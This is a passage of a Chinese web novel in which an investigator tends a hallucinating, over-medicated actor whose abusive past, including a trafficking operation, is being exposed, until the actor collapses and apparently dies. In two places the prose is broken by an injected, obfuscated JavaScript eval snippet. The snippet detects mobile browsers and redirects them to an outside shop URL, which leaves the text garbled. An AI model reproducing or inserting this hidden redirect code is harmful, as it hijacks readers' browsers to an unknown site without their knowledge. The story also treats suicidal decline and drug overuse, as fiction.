几秒后,这双眼睛轻轻眨了下。 季斓冬慢慢醒过来,侧头看向他。 季斓冬像是被困在慢速的时间里,厉珩一次再一次,小心尝试着将他轻轻捧出:“看见什么了?” 他只是问,不强求季斓冬答,走过空荡荡有回音的地下停车场,被他抱着的人出声:“梦。” 厉珩随口问:“坏梦?” 大瓦数的照明灯下,季斓冬的睫毛落下暗影,他看见这双眼睛的弧度像是歉意。 季斓冬恢复清醒,想要自己走路,但厉珩不太能战胜自己的私心。 他收拢手臂,把季斓冬抱得更紧。 但回答还是事与愿违:“好梦。” 季斓冬说:“很好的梦。” 季斓冬描述幻觉,他的说话声很低,咬字很慢,小狗扒着厉珩的裤腿,仰着脑袋,努力想要够那只垂落的手。 “厉组长。”季斓冬说,“我杀了我父亲,是因为愤怒。” 厉珩握紧这只手。 厉珩一直知道这具身体里被困住的愤怒。 季斓冬无法表达,无法发泄,他的内里和外部完全脱节,一切情绪都困在深不见底的地方,不存在出口。 潜意识为自救,编造幻觉。 幻觉是潜意识对现实元素的切割、修正和改造。 厉珩的出现,不断唤醒十二年前的记忆,于是季斓冬的幻觉也被影响,从十五岁开始出现分支。 “我忘了伪造伤痕。”季斓冬描述他在幻觉里的梦,“你详查这个案子,我被关进了劳教所,负责种蘑菇。” 他抚摸这个幻觉:“我把蘑菇种得很好。” “我没有成年,不能在劳教所待太久,他们赶我出去,我不想走。” 季斓冬说:“我在这里生活得很好,为什么要走,我有蘑菇,有……小狗,我给它起了个名字,叫布丁。” “我每天和它玩飞盘,给它做小狗饭。” “它吃的很多,长得很快,有这么高。”季斓冬比划,“会把我扑倒,毛是软的,很暖和。” “这样过了一些年,我帮了一些人,他们并不恨我。” “我爱了一些人。” 他在这里卡住,再罔顾事实的幻觉,也没法编造完全不了解的部分,而有关这部分的经验,只有今天这几个小时。 季斓冬卡了一会儿:“我们……接吻。” 当事人厉珩实在忍不住了:“和这么多人接吻吗?” 这话明显是开玩笑,这会儿的季斓冬有能力开玩笑,眼睛弯了弯,摇头:“和你。” 他执意自己走路,于是厉珩慢慢牵着他,走进电梯,明亮的暖光洒下来,厉珩发现,受幻觉影响,季斓冬的神情甚至有些轻快温和的腼腆。 “我们意外重遇了。”季斓冬说,“我身体很好,雪天也会出门遛布丁,买咖啡的时候,你在给车铲雪。” 季斓冬握着小狗的牵引带,继续向下说:“雪很大,天也黑了,你问能不能和我回家。” 厉珩开始明白幻觉可怕的地方。 它甚至可以剪切拼凑真相,于是每个画面都那么真实、那么毋庸置疑。 那么……引诱着人沉迷。 “我说好。”季斓冬很轻快地把故事讲下去。 他告诉厉珩:“但有个提醒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14404278|152638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要轻一些,果果在家,她很小,在睡觉。” “她是从医院偷跑出来找我的。” “找了我很久。” 季斓冬说:“她要叫我爸爸,我认为太老了,我还很年轻,我们讨论了一下,她决定叫我大蘑菇。” 这大概是个笑话,需要听众配合,厉珩吃力地扯了下嘴角。 他忽然不敢再往下听。 因为电梯已经到了预定楼层,他们离开电梯,眼前就是厚重的防盗门,而季斓冬正讲到这里:“我换了家里的灯。” “小心,打开门,光就会涌出来。” “橙黄色的,很亮,亮到晃眼睛。” “布丁着急回家,但要讲规矩,先擦脚。门不好开,钥匙不太好用,果果会和光一起扑出来,抱住我的腿,很暖和。” 季斓冬从羽绒服的口袋里摸出钥匙。 厉珩忽然握住他的手腕。 “季斓冬。”厉珩说出这几个字,居然有些吃力,“你等一下,半分钟,我准备——” 他看见这双眼睛很温和地一弯。 钥匙转动,因为是价格高昂的特制防盗门,开得很顺滑,走时厉珩忘记关上阳台窗户,门打开后冷风穿门溢出。 房间里空洞漆黑。 暗淡光线下,寂静,只有家具的轮廓。 小狗怯怯呜咽了一声。 季斓冬很平静,仿佛早清楚一切不过只是幻觉,早已经习惯幻觉在眼前碎裂,厉珩没能握住他的手。 季斓冬蹲下帮小狗擦脚,换鞋,进门,打开一个专供幼犬的奶糕,轻轻抚摸一只狼吞虎咽的、不叫布丁的小狗。 季斓冬走到桌边,吞下药片,喝水。 季斓冬坐在沙发上。 厉珩关掉窗户、打开灯、打开空调的暖风,他走过去,撑着沙发背,空出只手拢着季斓冬的后脑,把人压进怀里。 “季斓冬。”厉珩放轻声音,一遍一遍重复他的名字,“季斓冬。” 厉珩捧着这个静静坐着的人,他低头,压上薄薄的、冰凉的眼皮,他收拢手臂,就这么一动不动贴着,直到足够证明自己是真的。 他握着季斓冬的手,让它按在自己的心脏上,急促的、激烈的心跳慢慢叫醒这只手,季斓冬再次强迫自己醒过来。 “我愿意配合。”季斓冬想了想,补充,“不是因为接吻,厉组长,对不起。” 他抬手,摸了摸厉珩扎手的短发,温声为那时的反应道歉:“我不该那么说。” 冰水主动把自己融成月下的海,厉珩却反而摇头,他攥着季斓冬的手,为了克制住过重的力道,几乎已经微微发抖。 季斓冬却只是说下去。 “我的生父,导演季业诚。” “虐打只是那场事故的诱因,他打我是解闷,我母亲恨我,是因为我搞砸了别的。” “我生父的生意在境外,诱骗新人出国,用特殊服务换上镜机会,我母亲是他的掮客。他死后,这笔生意落到我母亲的姘头、季然的父亲手上。” “我想把季然带走,我认为我可以养他。我放走了那些被困在地下室的人。” 厉珩的声音低哑:“他们感谢你?” 季斓冬摇头:“他们恨我。” 所以一开始,厉行云找到他的时候,失势的季斓冬被整得不可谓不惨,甚至扔进那种满是羞辱意味的剧组。 没人想帮这个搞砸了一切的人。 没人会提供证据。 没人想翻出不堪到这个地步的过往。 季斓冬这个该死的搅局者,被人憎恶、被人痛恨,厉行云所听所见的一切,都来自于这些人的描述,他们只想让这个自以为是的高傲混账也尝尝绝望的痛苦。 “我太年轻了。” 季斓冬坐在这里,回想、总结、反思,得出结论:“忘了保护自己。” 他忘了留下用得上的证据。 但今天玩相机时,厉珩想到的逻辑,其实没错。 “你该去找季然。”季斓冬想了一会儿,“他不想暴露,因为他进入娱乐圈的初始资金,是他父亲……” 剩下的话被新一轮的吻吞没。 这也不错。 季斓冬的确更想接吻,这不用思考,不用说话,更省力气,只要合上眼睛。 窒息攥住肺叶,失控的心跳带来仿佛撕裂胸口的鲜明疼痛,季斓冬尝试控制住发抖的手和身体,然后他发现这种战栗来自于另一方。 “厉珩。” 季斓冬睁开眼睛,他侧躺在沙发上,被覆着薄薄枪茧的手发着抖抚摸眉眼。 厉珩一动不动地望着他。 季斓冬失笑:“别这样。” “别这样。”季斓冬摸了摸厉珩冰冷的脸,“厉组长,咱们只是接吻。” 厉珩没必要为他的事这么生气,他可以成为厉珩的履历里一个不错的政绩、一个还算不太寡淡的案子。 成为冬季无聊的漫长雪夜里,一段心照不宣的、阅后即焚的暧昧间奏,一段即兴小夜曲。 哪怕是幻觉,季斓冬也没臆想到这么狂妄奔放的地步。 ……有人为了他生气。 “我这人很好哄的。” 季斓冬笑笑:“你这样,我要哭了。” 17.布丁下去 厉珩模仿他笑笑。 “季斓冬。”厉珩说。 这不是需要回答的对话,厉珩似乎很喜欢叫他的名字,季斓冬不介意,很大方地由他叫。 厉珩伸手,拢着肩胛和腿弯,尝试着轻轻抱起沙发里仿佛懒洋洋的人。 季斓冬的手臂向后坠落,头也后仰,被小心捧起靠在胸口,就又慢慢睁开眼睛,露出任凭处置的安静好奇。 厉珩沉默着不说话,惊涛骇浪如愿消隐在眼底,只是轻轻抚摸他干燥的眼尾。 季影帝的业务水平滑落得厉害,早不是三秒掉泪的演技派。 “季斓冬。”沉默很久,厉珩轻声问,“我能抱你吗?” 这问得也不像话。 以前也没见厉组长知道问。 再说人都在腿上了。 季斓冬刚吃了药,这会儿药效最明显,困倦掩盖了无法控制身体的踏空坠落感,思维泡在温水里,无法运转,懒于分辨是是不是烧着柴火的锅。 季斓冬随口说:“很贵的。” 厉珩:“我付。” 他把自己的调查局证件押在季斓冬手里,季斓冬的手落在他膝头,苍白优雅的手指因为药物作用发抖,握不住,塑料套的胸牌啪地一声掉在地上。 厉珩没心情管,他把季斓冬抱紧,不让这个人端详自己的手、端详掉在地上的东西,他的声音很哑:“……季斓冬。” 季斓冬被他抱在胸口,胸腔受压,发出很轻的闷哼声。 厉珩握住这只伤痕累累的手,他低头,把嘴唇贴上去,季斓冬第一次表现出抗拒,想要把手抽走。 厉珩却只是沉默着亲吻他全无血色的的指节,这些吻半点不狎昵,不轻薄,或许正相反,或许是另一头,厉珩把发烫的眼睛贴在失力松软微蜷的手指上。 他要说什么? ——同情、愤怒、恼火、义愤填膺……太装腔作势和俗套了。 厉珩不是什么路见不平就拔枪的正义人士,也不是喜欢上演拯救戏码的闲人,调查局的工作性质注定有见不完的阴暗腌臜、魑魅魍魉,管不过来。 他是个审时度势的政客,目标明确,路径清晰,来找季斓冬是为了参选议员。 所以灼烧着内脏的究竟是什么呢。 …… 季斓冬毫无预兆地咳嗽起来。 厉珩惊醒,抬头要查看,却没成功,季斓冬不配合,冰冷的手盖住他的眼皮。 季斓冬剧烈咳嗽,小狗惊慌失措地乱叫,扑腾着想要跳上沙发,窗外流淌进寒冷的月色像是被这点变故突兀打乱了,厉珩收紧手臂,让冰冷的脸颊埋进颈窝。 小狗四爪用力刨进季斓冬怀里。 厉珩低声说:“布丁下去。” 他抱着的人咳嗽着摇头,攥住他的手腕,季斓冬吃了药,分得清幻觉和现实。 厉珩:“布丁下去。” 在季斓冬面前,他从未这样毫不讲理地固执。 小狗霸占季斓冬的膝盖,瞪大眼睛和竞争者对峙,却发现客人并不如想象里蛮横,眼底甚至有无声的恳求。 厉珩的声音很低:“布丁。” 厉珩命令自己摸它,压着心跳,近乎讨好:“布丁。” 小狗怯怯地:“……汪” 季斓冬的咳嗽停下来。 变得寂静。 厉珩把他抱得更紧,握住季斓冬的手,让他摸到一只叫布丁的、会长很大的小狗。 厉珩确信自己会学着做狗饭,会买一个飞盘,会每天遛狗,他甚至开始思考,是不是能租个暖棚给季斓冬养蘑菇。 季斓冬出了很多冷汗,又湿又冰的脸颊贴着他的颈窝,呼出的气流在敞开的衣领处盘旋,像是能就这么凝结出白雾和霜花。 “厉组长。”季斓冬慢慢开口,声音很哑,疑似幸灾乐祸,“你要养它了。” 厉珩知道,他做出很大牺牲了:“我在练习无视狗毛。” 这话配合惨不忍睹、一颗扣子已经被挠得摇摇欲坠的调查局制服,未免有些风趣。季影帝挪动手指,揪了揪它,不给面子地轻声笑了笑。 “它叫布丁。” 厉组长还有个凑数的申请:“我能叫厉珩吗?” 季斓冬这么叫了一次,很好听,季斓冬咬字有种独有的方式,念这两个字,仿佛从舌尖柔和滚到舌根。 季影帝这会儿很好说话,垂着眼睛,客串了一回有求必应的阿拉丁神灯:“厉珩。” 厉珩低头,亲了亲他的眼睛。 有点糟。 人在咳嗽时流泪是生理反应,可这双眼睛还是干燥的,季斓冬仿佛已经彻底失去这个能力。 “是不是着凉了。”厉珩贴着季斓冬的额头,“告诉你不要开窗玩雪。” 季斓冬半阖着眼睛,抿起唇角,笑了笑,做这个动作对他来说似乎变容易。 厉珩亡羊补牢,虽然不知道有没有用,但还是煮了一壶红枣姜茶,又带着季斓冬去浴室,用热水弄得到处都是白花花的蒸汽,再把人轻轻抱进放了驱寒效果草药的浴缸。 季斓冬仰在浴缸边沿,被厉组长用勺子喂姜茶,因为不配合吞咽,浅褐色的红糖水又淌落。 厉珩问:“不喜欢喝?” 季斓冬闭眼睛。 厉珩想了一会儿办法,甚至拿来手机搜了搜,最后在离奇的地方找到答案,含了一口姜茶去亲季斓冬。 这对厉珩而言新奇,对季斓冬其实也同样,原来这种事也有耐心到极点的温存,厉珩捧着他的脊背,半跪在浴缸旁,很笨拙地哄着热水里的人,耐心陪他咽掉那一点毫无意义的辛辣甜饮品。 “厉组长。”季斓冬这么叫,然后记性很好地改口,“厉珩。” 厉珩放下剩的半碗姜茶,用手舀热水淋在苍白如纸的身体上,季斓冬已经瘦得惊心,骨头硌手。 厉珩应了一声,轻轻摸他的眼睛。 季斓冬问:“你是幻觉吗?” “不是。”厉珩合理分析,低头陪他讨论,“幻觉应该更完美一点吧,季斓冬,我们能不能养一条不掉毛的狗。” ……厉组长是真洁癖。 季斓冬笑了下,很轻很放松,不再追问,闭上眼睛。 厉珩握着毛巾帮他小心擦洗,一条又一条疤痕刺眼横亘,厉珩没办法不低头去吻它们,哪怕他自己也并不明白为什么想这么做。 季斓冬在热水里睡着,与其说是睡着,不如说是耗尽最后一点燃料的停转。 厉珩把他小心地从水里抱起。 “季斓冬。”厉珩低声问,“我明早去遛狗,你想不想吃包子,我知道有家排骨包子很香,我们点一桌,要一碟咸菜,蘸一碟醋,和刚出锅的小米粥一起吃,吃完散步回家。” 这实在是再普通不过的流水账闲话,对故事发展毫无用处,自然不配进剧本,不配当台词,不配被季影帝念出来。 所以也从不配进季影帝的耳朵。 厉珩用浴巾把人裹好,仔细擦干水,用电吹风吹干头发,他俯身想要抱起靠在自己身上昏睡的季斓冬,忽然怔了怔。 厉珩握住垂落的手,护着软沉的头颈,把动作放到最轻,蹲下来。 他轻轻亲掉这具沉睡身体睫毛里的水汽。 把暖和了一点的季斓冬抱去卧室,盖好被子、整理好枕头,回到客厅的厉组长,坐在沙发上,看着卷宗和配枪。 沉默的眼睛变冷。 …… 第二天早上,季斓冬并没吃到包子。 这事不怪厉组长,季斓冬睡得太沉,中午被摸着头发小心地轻声叫醒,也只是微微睁了睁眼,就又安静地睡着。 厉珩坐在床边,卷宗摊在膝盖上。 一系列搜查令就在昏暗温暖的卧室里被发下去,平地搅起轩然波澜。 许多本来叫人困惑的事,也就都有了答案。 比如厉行云,的确是被一群别有用心的人围着,处理了所有他听到看到的信息——确保它们是真的,只是不完整。 厉行云看到季斓冬仗势威胁人。 看到季斓冬暴揍季然,季然被打得浑身是伤奄奄一息,差点死了。 看到季斓冬无视继父病发的证据照片,透过窗帘缝隙的偷拍:瘦削的青年坐在窗台上,咬着支烟,轻轻抚摸一只跑错窗户的野猫,满是污渍的地板上,是绝望着扭曲痉挛的丑陋人影。 看到季斓冬漠然,靠着车门打电话,单手按着左胸溢血的伤,把持刀袭击自己的生母送进精神病院。 厉行云只看得到这些。 于是确信,于是热血上涌半句不问,把最亲近的人判成丧心病狂的无耻凶手,攥着衣领把季斓冬搡到墙上:“你为什么是这种人!?” 季斓冬甚至不清楚自己是哪种人。 季斓冬没长在正常的家庭,没接受过正常的教育。十五岁以前,除了被带出去不停接戏演戏捞钱,他一直被反锁在家里的阁楼上,那是个很狭窄的阁楼,唯一的朋友是地板缝里的蘑菇。 对“人类生活”的了解,全是凭借影帝级别技巧的天才模仿,参考资料全是剧本。 只能说是碰巧。 碰巧,他接的是些“做好人”的剧本。 碰巧,剧组的人对缄默安静的少年不错,寡言的老龙套带着小孙子,也掰给他小半块芝麻糖。 季斓冬只是一不小心长成了个被恨透的好人。 这好像犯了天条。 追查出的真相越来越多,阻力迅速强横,暗流也越来越汹涌。厉珩被紧急召回厉家,态度严厉意思明显,他不该涉足这么深,这很影响接下来的议员选举。 厉珩倒是留意到了一片狼藉的门锁,厉 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厉家卷得这么深,不可能毫无牵扯。还得尽快找到厉行云,一个受了刺激的疯子不一定跑到哪、不一定干什么,厉珩暂时没心情处理更多的公众事件。 ——半个小时后,厉珩就收回这种无聊的祈愿。 还不如处理公众事件。 厉行云被拧着肩膀按在地上,从防盗门前拖走,效率很高地反绑手臂,塞进沉重防火门隔开的室外阳台。 负责守家的探员又不是吃素的,何况厉珩还找人换了锁:“你来干什么?” 厉行云看起来是真狼狈透了,短短几天就形销骨立,脸白得像鬼,眼睛却充血发红,嗓子哑得像吞了火炭:“……我哥怎么样了?” 厉珩低头看着他,神色困惑。 厉行云大口喘着气,他不知道有多少天没睡,几乎被这种漠然烧断最后的理智,却还是死死咬着牙吞回暴怒。 他不敢在有季斓冬的地方撒泼了:“我知道他肯定恨我,这辈子不想再见我,我不打扰他,厉珩,你告诉我他怎么样了……我害怕。” 厉行云垂着头,无边的恐惧吞没了他,让他控制不住地发抖。 被厉家关着的这段时间,崩溃、痛苦、歇斯底里,绝望得连动弹也吃力以后,他开始想起过去的事。 他和季斓冬在一起的五年。 季斓冬饶有兴致地模仿和扮演一个正常人。 这种感觉其实时常涌现——很多时候,那些微妙的、不足半秒的时间差,是季斓冬在判断这时候该有的反应。 绝大多数时候,季影帝的演技精湛到几乎看不出端倪,该笑的时候笑、该享受的时候享受、该目中无人的时候目中无人,但绝不意味着没有意外。 有些很荒唐到狗仔爆了也没人信的八卦。 没人信,就连当初的厉行云也没信。 那时候季斓冬在拍戏,导演相当有实力,剧组也实在一流,特意留在杀青当天拍的苦尽甘来阖家欢大结局,光影完美、剧本完美、节奏完美,感染力强到围观的工作人员都沉浸代入。 季斓冬当然也发挥得完美到无可置疑——唯一的问题,是喜气洋洋的杀青宴上,季影帝不见了。 去探班的厉行云也傻了,急得不行,找了季斓冬一整宿。 结果季斓冬只是自己打车回了家。 厉行云骑着摩托全城狂飙了大半宿,一推门气乐了,季斓冬好好坐在沙发上,灯都没开,连点动静也没有。 “干嘛啊。”厉行云扔了头盔过去,“大伙都挺高兴的,哥你整这一出吓唬人,是谁惹你了?那也吃完饭再说啊。” 他去拉季斓冬,没拉动,季斓冬像是被月光钉在了那个沙发上。 像是生了锈,像是一直没出过错的程序出了故障。 季斓冬僵硬地倒在地板上。 厉行云也坐在地上,他吓呆了,忘了动。 “我不想去。”不知过了多久,季斓冬慢慢撑着手臂,翻身坐起,靠着沙发。 “太好了,会出问题。” “我会想一直留在里面。” “行云,我找不到理由不这么做。” 这些话断续、没有语气、完全不同于平时的“正常”季斓冬。 可那是真正的季斓冬,他获得了一段相当不错的记忆,完美到无懈可击,他无法控制自己想留在这段记忆里的本能——用药、用刀、用任何能让他不必再醒来的东西。 这不太对,季斓冬根据理智判断,这会造成不良影响和引导,他需要看医生,需要做心理咨询。 季斓冬问:“我不太舒服,可以生病吗?” 厉行云吓傻了,瞪圆了眼睛愣愣看着他,一个字也说不出。 季斓冬就懂了。 不行。 “抱歉。”季斓冬说,“扶我一下吧。” 18.冬日限定 卧室里依然安静。 安静,温暖,光线很暗淡。 系统急着和季斓冬说话,它也听见了厉行云的记忆,气得不行:「季斓冬,他说的不对,我教你,你不光可以生病,你还可以生气。」 「季斓冬。」 系统说:「你可以生一个很大的气。」 系统看见了后续,看见厉行云就这么松了口气,把季斓冬拖去杀青宴,拖回那一片吵到头痛的纷乱嘈杂里。 厉行云替季斓冬道歉的毛病,从这时起其实就有了端倪。 季斓冬为自己添的麻烦罚酒。 说笑、客套、应酬,熙熙攘攘的人影,一杯接一杯的酒灌下去。 季斓冬仿佛恢复了正常。 「去他的正常。」系统火冒三丈,「什么是正常,你可以一个人待着,不好受就不跟人说话,季斓冬,我那时候就应该来,我替你打爆他的头。」 这听起来就多少有些暴力了,不过这也不能怪系统。 这些天,系统气到忍不住,大半夜沿着网线替季斓冬报仇,抓着极端粉吵架,数据库里混进不少网络用语。 季斓冬被吵醒,慢慢睁开眼睛,发现钻进被窝的蘑菇。 ……系统忽然消了音。 它不想吵架了,也暂时不想爆谁的头:「季斓冬。」 系统挪得近了一点,看到很温和的笑影。 系统喜欢看季斓冬笑,这双眼睛连数据也会觉得暖和。 季斓冬一只手上扎着吊瓶,正在输液。 输的是葡萄糖,季斓冬昏睡了三十个小时,什么都没吃,他现在的身体状况很容易低血糖,厉珩请了好几个家庭医生。 厉珩每三个小时就会赶回来一趟,这给调查工作带来一定影响,但厉家自爆弥补了这一点。 系统想和季斓冬说很多话,说季然是真遭殃了,见不得人的事现在全见了光,说厉家蠢到自作自受,连家主也接了调查局的电话,被迫配合调查。 系统什么都想说,可看见这双眼睛,就什么都说不出了:「季斓冬。」 系统问:「你感觉怎么样……你还好吗?」 “很好。”季斓冬的手被系统抱住,就挪动手指,摸了摸变成果冻手感的蘑菇,“我们拿了六十分。” 系统僵住。 系统笨拙地藏起救赎值面板,这东西出问题了,季斓冬拿到了六十分,理论上任务完成了。 但系统感觉一点都不好。 系统也不想走,它贴着季斓冬的手,觉得不够,钻进季斓冬的袖子,不肯和这个人击掌庆贺:「没有,没有,五十九点九。」 季斓冬轻轻笑了下。 「季斓冬,还差零点一分。」系统尝试绑架他的袖子,「我陪你吃药,你再努力一下,试一试,还有好多新花样你没试过。厉珩说了很多,你没听到吧?他说有包子。」 系统竭尽全力:「排骨大包子,小菜,醋,小米粥,啊,好香。」 它看见近在咫尺的眼睛里有真实的笑影,只是很遥远,遥远到像隔岸的火,隔着冰水,浸在柔和的雾里。 季斓冬可能听懂了它的话,可能没听懂,但系统已经顾不上弄清这个,有些别的事更紧要:“季斓冬,你是不是不舒服?” 被枕头、被褥和温暖昏暗包裹的人茫然,季斓冬从没这么放松,微睁着眼睛,慢慢找到一点力气,用来摇头。 系统不信。 数据看起来一点都不好。 季斓冬的脸色比霜还白,体温和心跳异常,呼吸微弱,不停出冷汗,肋骨间的凹陷无规律地打颤,这具身体明明在被痛苦折磨……季斓冬的神情却像是舒服。 “我感觉很好。”季斓冬笑了笑,他尽力打起精神,“六十分,你要回家了。” 季斓冬哄它:“哪有蘑菇不回家。” 系统才不回什么破家:「季斓冬,我们还是不是朋友?」 它也不要季斓冬回答,季斓冬当然把他们当朋友,系统不需要一句没意义的空话来作证,掉头就去找小狗布丁:「让厉珩回家,季斓冬,你很不舒服,厉珩会带你去医院……」 季斓冬看起来不算支持这个分工,但门口已经响起急促的脚步声。 厉珩在这时候赶回,厉行云被探员带去和厉家那一坨一并审查,他不值得浪费时间,厉珩打开卧室门,快步走到床边。 季斓冬为仪器的刺耳异响道歉,并解释:“我很好。” 季斓冬没有觉得不舒服。 厉珩俯身,手指穿过汗湿的鬓发,轻轻抚摸着这张脸:“我知道。” 他的力道冷静镇定,小心抱起陷在被褥和冷汗里的人,季斓冬在发热,因为基础体温太低,摸着并不烫手,只在喉咙里仿佛含着一团微弱的热气。 厉组长老调重弹,十分啰嗦:“开窗户玩雪是高危行为。” 证人闭上眼睛装没有听到。 厉珩没耽误一秒钟,用羽绒服和风衣裹严季斓冬,快步向外走,一边用手机联系医院,他整理了季斓冬的病历,厚厚一摞,就放在出门顺手能拿到的书架上。 “厉组长。”季斓冬靠在他颈窝,微垂着头,被裹得几乎不能动,“我很好。” 厉珩抱着他单手按电梯,几次没能按亮负三层的停车场,力道更重,指腹被抵得泛白。 厉珩:“嗯。” 厉珩低头,神情还很轻松柔和,拨松季斓冬的额发:“看得出来。” 季影帝难得还有被夸赞演技的机会,被摸着颈动脉,眼睛里微微笑了下,睫毛像是变沉了不少,压着眼皮坠下去,又被摸着头发小心地叫醒。 迷茫的湿冷浓雾里,恍惚透进厉珩沉默的视线。 “是我考虑不周。”厉珩说,“保温措施不够,要是再加个防寒面罩,就算开窗,也不会着凉了。” “先不睡。”厉珩握着他的手,“路上全是雪,这么无聊,陪我说说话,好不好?” 季斓冬的脾气其实是真的很好。 厉珩抱着季斓冬跳上车,拢着季斓冬靠在副驾,绑好安全带,发现季斓冬自己坐不稳,又把后排的靠枕全抱过来。 季斓冬垂着头,静静看着他,不睡,尽力配合抬胳膊,眼睛弯成的弧度很轻。 厉珩把车开出地下车库,踩下油门,尽力让车在保持车速的前提下平稳。 季斓冬说:“厉组长。” 窗外只有雪,几乎没有什么车和行人,的确很单调和无聊。 季影帝慢慢讲起自己曾经演过的一部戏。 一部大概和救赎有关的意识流电影。 雪夜的猎人小屋,浓雾困住的旅客,壁炉、火焰、水汽迷蒙的窗户,热腾腾翻滚香气扑鼻的罗宋汤。 冬日限定的吻。 厉珩认真听这个故事:“冬日很好,为什么要限定,春天不能亲吗?” 应付过一万个刁钻提问的季影帝:“……” 季斓冬咳嗽着轻声笑起来。 他慢慢揉额头,发烧让他的气色仿佛好了些,眼睛里有高热的水汽,看起来明亮,又有当年迷得人转不开眼的风致。 “因为春天。”季斓冬想了一会儿,想起自己要说什么,“雪就停了。” 有些事是需要氛围烘托的。 雪停了,人变得自由,旅客会发现猎人根本没有想象里那么悲壮和英勇——被猛兽袭击的一身伤痕是因为枪法实在差劲,热汤之所以显得美味,也只是因为寒冷、物资匮乏和饥肠辘辘。 那个丛林深处的小屋里困住的,其实只是个再平庸无聊不过的普通人。 “然后呢。”厉珩等了半天,“旅客就走了?” 前方的车流慢慢密集,不是好事,暴雪造成了交通中断,还在紧急清雪。 在数不清的刹停红灯尽头,他们也被迫慢慢停下。 季斓冬看着窗外的雪景,忽然有些遗憾,厉珩一口一个玩雪,让他发觉自己好像的确没怎么玩过:“是啊。” 他的第三个影帝就是这部片子拿的。 厉珩过去不看电影,但不难推理,季斓冬一定演得不错,魅力十足,决定一有时间就立刻去看。 除此之外,厉组长的其他意见:“编剧应该被抓起来。” 季影帝:“……” 厉珩是认真的,他无法理解这种逻辑:“旅客想要什么,刽子手、职业屠夫、罗宋汤顶级大厨?” 季斓冬靠在车窗上,他被一只在雪地里洗澡的麻雀吸引,看了一会儿,听见声音就转回头:“神枪手?” 神枪手听起来还是要酷一点的吧。 厉珩觉得没什么区别,他盯着前方还在清理的雪障,探员们的加入已经尽可能提升了效率,但还要一段时间。 暴雪埋住了整座城市。 厉珩:“那说明这个编剧缺乏生活体验,也没问过什么人。” 这判断难免武断,又有外行指导内行之嫌。 但季斓冬的脾气其实真的很好,哪怕遇到厉组长这种班门弄斧的外行,也依旧配合着听得认真:“是吗?” “是。”厉珩拉了行动灯,把车扎到最靠近拦路雪线的位置,“如果我被困在雪里,他来问我,我就告诉他,我不要什么见鬼的刽子手、屠夫和大厨。” 也不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“季斓冬,我必须说,你最后会这么选,是因为你的确已经尽了全力,战斗到最后一刻,找了你能找到最有用的办法。” 厉组长大概努力过头了。 但夸得还不错,季斓冬笑了笑。 这种笑很容易扎透人的眼睛。 意识涣散到极点,季斓冬不喜欢说话,他枕在厉珩的掌心,微微弯着眼睛,高烧的水汽让这双眼睛显得清亮动人。 厉珩克制着猝然闭紧眼睛的冲动。 “就剩一个小问题。” 厉珩俯身,贴着他的额头:“季斓冬,你把我忘了。” 被他捧起的人似乎在这句话里微怔。 笑意还没消失,季斓冬看着他,眼睛被轻轻抚摸,睫毛受到刺激,不自觉地一颤。 厉珩说:“你还没问我有没有办法。” 他说:“季斓冬,你还什么都没问过我。” 厉珩保护安静过头的人,动作小心,他尽己所能,给季斓冬吸氧、补充糖粉和盐,设法给高热的身体降温。 他死死攥着手机,发动所有途径,一遍一遍搜索在这种交通条件下,最近的、能提供足够医疗措施的医院。 袖口被看不见的力道用力一扯。 厉珩低头。 可能是季斓冬的朋友。 他发现季斓冬想要抬起手,但体力限制了这一点,这只手只是微弱地动了动。 厉珩握住他的手贴在自己脸上。 季斓冬轻轻抚摸他的鬓角,像只好奇的、温柔的鹿。 正在被冰水淹没的鹿。 正在死亡的鹿。 高烧引发身体机能的剧烈紊乱,长期过量服药,季斓冬的大脑已经失去调控机能,身体正以难以遏制的速度全面衰竭。 季斓冬本人看起来完全没有意愿要阻止这个进程。 ……看起来。 “厉珩。”季斓冬慢慢开口,他已经很难把每个字说清,喉咙里那团热气在烧毁这具身体里的一切,他一直在等待这个结果,但也的确还有个差点忘了的问题。 季斓冬吃力地做了个口型。 厉珩很快读出来,发着抖的手臂把人抱紧:“包子。” 对。 季斓冬是想问这个,他一直想问厉珩那个包子。 排骨馅的包子。 排骨怎么能做馅啊。 骨头要拆出来吗? 季斓冬想不通。 季斓冬悄悄问:“好吃吗?” 19.不准动他 厉珩没来得及回答。 没来得及,季斓冬枕着他的手,很放松,看起来很舒服。 眼睛里的光却茫然地涣散开。 厉珩听见自己的声音在发抖:“季斓冬?” “你该尝尝。” 厉珩说:“尝尝,包子好吃。” 他碰季斓冬的脸,指腹发着抖捻睫毛,季斓冬没有反应,瞳孔呈现出某种平淡过头的匀质漆黑,被厉珩抱起,瘦削的腰背就后折。 厉珩护着他的后脑,跳下车,扔下自己的工作证,跳上一辆摩托。 这世上不是厉行云一个人会骑摩托,路旁交通执法的摩托就放在那。看清了工作证的探员立刻清场开路,调配引导,切换整条路上的红绿灯。 发动机轰鸣着怒吼。 厉珩把油门拧到极点,他尝试和季斓冬继续讨论旅客、猎人和雪,讨论季斓冬已经尽力的选择,讨论包子。 讨论十二年前,他猜这世上一定有平行世界,说不定他们才是平行世界,他们才是故事。 说不定真实的世界里,他穿过月光去抱住季斓冬。 说不定他做了季斓冬的共犯。 “我们看起来很熟。”厉珩尝试模仿季斓冬的推理,“是不是?或许有个真实世界,我们一不小心一起生活十二年。” 或许真实的世界里,季斓冬做什么都有他陪着,好事有,坏事也有,季斓冬的心理问题由来已久,就算是被他从那个阁楼带走,也要慢慢治。 那就慢慢治。 厉珩当然会陪着季斓冬。 他们会有十二年,大把的时间,一点点填补那个过于巨大的死寂空洞。 